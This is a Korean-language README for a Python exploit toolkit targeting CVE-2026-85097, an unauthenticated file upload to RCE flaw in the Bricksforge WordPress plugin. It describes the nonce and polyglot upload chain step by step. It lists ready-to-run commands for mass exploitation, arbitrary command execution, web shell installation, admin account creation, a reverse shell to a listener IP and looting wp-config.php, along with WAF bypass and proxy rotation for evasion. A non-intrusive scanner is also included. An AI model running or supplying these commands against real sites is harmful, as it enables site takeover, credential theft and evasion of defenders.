
CVE-2026-85097용 Python 툴킷: 다중 언어(polyglot) 페이로드를 통해 Bricksforge WordPress의 비인증 파일 업로드를 RCE로 악용하며, 비침투적 버전 탐지 스캐너도 포함합니다.

CVSS 10.0
익스플로잇 툴킷 및 안전한 탐지 스캐너
승인된 보안 테스트 전용입니다.
CVE-2026-85097은 Bricksforge WordPress 플러그인(버전 3.1.8.9 이하)의 치명적인 비인증 임의 파일 업로드 취약점입니다. 원격 공격자가 MIME 검증을 우회하여 공격자가 제어하는 PHP 파일을 uploads 디렉터리에 업로드할 수 있으며, 그 결과 웹 서버 사용자 권한으로 원격 코드 실행이 가능합니다.
Nonce 검색: bricksforge_regenerate_nonce AJAX 액션이 wp_ajax_nopriv_로 등록되어 있어, 비인증 공격자가 유효한 REST nonce를 획득할 수 있습니다.
폴리글랏 업로드: form_file_upload REST 엔드포인트는 업로드된 파일의 MIME 타입을 검증합니다. 폴리글랏 파일(유효한 PNG/GIF 헤더 뒤에 PHP 코드가 이어지는 파일)은 이 검사를 통과합니다.
메타데이터 신뢰: 폼 제출 시 플러그인은 temporaryFileUploads 파라미터에 포함된 클라이언트 제공 메타데이터를 신뢰합니다. file 필드는 검증된 폴리글랏을 가리키고, url 필드에는 공격자가 선택한 파일명(.php 확장자 포함)이 담깁니다.
PHP 실행: 플러그인의 copy() 싱크는 공격자가 제공한 url 값을 목적지 파일명으로 그대로 사용합니다. 폴리글랏 파일은 wp-content/uploads/YYYY/MM/ 내에서 .php로 이름이 변경되며, 접근 시 실행됩니다.
| 속성 | 값 |
|---|---|
| [>] 발견 시점 | 2026년 10월 (Patchstack) |
| [>] CVSS 점수 | 10.0 (치명적) |
| [>] CWE | CWE-434 (위험한 유형의 파일 무제한 업로드) |
| [>] 영향받는 플러그인 | Bricksforge (Pro Forms 모듈) |
| [>] 영향받는 버전 | 3.1.8.9 이하 |
| [>] 수정 버전 | 3.1.8.10 |
| [>] 인증 | 불필요 (Pre-Auth) |
| [>] 실제 악용 | 야생에서 확인됨 (2026년 10월) |
익스플로잇 툴킷은 nonce 검색, 폴리글랏 업로드, 메타데이터 조작, PHP 실행을 하나의 자동화된 워크플로로 연결하며, 대량 스캔, OPSEC, 포스트 익스플로잇을 위한 고급 기능을 제공합니다.
| 기능 | 설명 |
|---|---|
| [+] 전체 공격 체인 | Nonce 검색, 폴리글랏 업로드, 폼 제출, 셸 검증 |
| [+] 폴리글랏 페이로드 | PNG tEXt 청크 및 GIF 주석 확장 변형 |
| [+] 대량 스캐닝 | 스레드 풀을 사용한 동시 스캐닝 |
| [+] 후속 익스플로잇 | 웹 셸 설치, 관리자 사용자 생성, 리버스 셸, 파일 탈취 |
| [+] 명령 실행 | 확인된 셸에서 임의 명령 실행 |
| [+] 안전한 탐지 | 비침투형 스캐너 분리 (safechecker.py) |
| [+] WAF 우회 | 헤더 스푸핑, User-Agent 로테이션, 확장자 인코딩 |
| [+] 프록시 지원 | 로테이션 전략을 갖춘 SOCKS5, SOCKS4, HTTP 프록시 |
| [+] 다중 출력 형식 | JSON, CSV, HTML, JSONL, SQLite |
| [+] 스레드 안전 | 동시 작업을 위한 잠금 메커니즘 사용 |
| [+] 속도 제한 | 지터와 지연을 갖춘 전역 속도 제한기 |
| [+] 크로스 플랫폼 | Linux, macOS, BSD, WSL 지원 |
| 단계 | 설명 |
|---|---|
nonce | 인증되지 않은 AJAX 액션을 통해 유효한 REST nonce 검색 |
upload | MIME 검증을 통과하는 폴리글랏 PNG/GIF 업로드 |
submit | 폴리글랏과 .php URL을 가리키는 메타데이터와 함께 폼 제출 |
verify | 업로드된 셸에 접근하여 명령 실행 확인 |
exploit | 웹 셸 설치, 관리자 생성, 리버스 셸 트리거, 파일 탈취 |
안전 검증기(safechecker.py)는 페이로드를 업로드하거나 폼을 제출하거나 대상을 수정하지 않고 비침투형 취약점 탐지를 수행합니다.
| 기능 | 설명 |
|---|---|
| [+] WordPress 탐지 | 여러 패턴을 통해 WordPress 인스턴스 식별 |
| [+] 플러그인 탐지 | HTML 및 정적 파일을 통해 Bricksforge 존재 확인 |
| [+] 버전 탐지 | 특정 플러그인 버전 탐지 |
| [+] REST 라우트 확인 | 노출된 Bricksforge REST 엔드포인트 열거 |
| [+] Nonce 엔드포인트 프로브 | 선택적 nonce 엔드포인트 확인 (--probe-nonce) |
| [+] 디버그 로그 확인 | 플러그인 흔적에 대해 wp-content/debug.log 검사 |
| [+] 비침투형 | 취약한 버전과 노출된 엔드포인트만 식별 |
| [+] JSON/CSV/SQL/JSONL 출력 | 보고용 결과 내보내기 |
| [+] 대량 스캐닝 | 스레딩 지원으로 여러 대상 스캔 |
pip (requests 라이브러리용)pip install requests urllib3
git clone https://github.com/tc4dy/CVE-2026-85097-Toolkit.git
cd CVE-2026-85097-Toolkit
python3 exploit.py
#or
python3 safechecker.py
exploit.py)# Single target exploit
python3 exploit.py -u https://target.com --exploit
# Exploit with custom command
python3 exploit.py -u https://target.com --exploit --cmd "id; uname -a"
# Mass scanning from file with 20 threads
python3 exploit.py -f targets.txt --exploit -t 20 -o results.json
# Install web shell after successful exploit
python3 exploit.py -u https://target.com --exploit --webshell
# Create admin user via RCE
python3 exploit.py -u https://target.com --exploit --create-admin "sysadmin:Str0ng!Pass"
# Trigger reverse shell
python3 exploit.py -u https://target.com --exploit --reverse-shell "10.0.0.5:4444"
# Loot wp-config.php and other files
python3 exploit.py -u https://target.com --exploit --loot
# Proxy with rotation
python3 exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate round-robin
# Jitter and rate limiting
python3 exploit.py -f targets.txt --jitter --jitter-range 0.5,3.0 --rate-limit 5
# Custom User-Agent and insecure TLS
python3 exploit.py -u https://target.com --user-agent "CustomBot/1.0" --insecure
# Output to SQLite
python3 exploit.py -f targets.txt --output results.json --db scan.db
# Quiet mode
python3 exploit.py -f targets.txt --exploit -q
safechecker.py)# Single target safe check
python3 safechecker.py -u https://target.com
# Mass scanning with output
python3 safechecker.py -f targets.txt -t 20 -o scan.csv
# Enable active nonce endpoint probe
python3 safechecker.py -f targets.txt --probe-nonce
# Proxy support
python3 safechecker.py -f targets.txt --proxy-list proxies.txt
# JSON report
python3 safechecker.py -f targets.txt -o report.json
| 기능 | exploit.py | safechecker.py |
|---|---|---|
| WordPress 탐지 | [+] | [+] |
| Bricksforge 탐지 | [+] | [+] |
| 버전 탐지 | [+] | [+] |
| REST 라우트 열거 | [+] | [+] |
| Nonce 검색 | [+] | [-] |
| 폴리글롯 업로드 | [+] | [-] |
| 폼 제출 | [+] | [-] |
| 셸 검증 | [+] | [-] |
| 명령 실행 | [+] | [-] |
| 웹 셸 설치 | [+] | [-] |
| 관리자 사용자 생성 | [+] | [-] |
| 리버스 셸 | [+] | [-] |
| 파일 탈취 | [+] | [-] |
| Nonce 엔드포인트 프로브 | [+] | 선택 사항 |
| 디버그 로그 확인 | [+] | [+] |
| 프록시 로테이션 | [+] | [+] |
| 지터 및 지연 | [+] | [+] |
| 속도 제한 | [+] | [+] |
| User-Agent 로테이션 | [+] | [+] |
| WAF 헤더 스푸핑 | [+] | [+] |
| 대량 스캔 | [+] | [+] |
| 스레드 풀 | [+] | [+] |
| JSON 출력 | [+] | [+] |
| CSV 출력 | [+] | [+] |
| JSONL 출력 | [+] | [+] |
| SQLite 출력 | [+] | [+] |
| 비침투 모드 | [-] | [+] |
참고:
exploit.py는 능동적 익스플로잇을 수행하므로, 소유한 시스템이나 테스트에 대한 명시적 서면 허가를 받은 시스템에만 사용해야 합니다.safechecker.py는 수동적 정찰 및 자산 인벤토리 용도로 설계되었습니다
이 툴킷은 승인된 보안 테스트, 레드 팀 참여, 방어적 연구 목적으로만 제공됩니다. 이 소프트웨어를 사용함으로써 귀하는 다음 조건에 동의하게 됩니다:
[!] 경고: CVE-2026-85097은 실제 환경에서 활발히 악용되고 있습니다. 이 툴킷의 무단 사용은 형사 기소 및 민사 책임을 포함한 심각한 법적 처벌을 초래할 수 있습니다.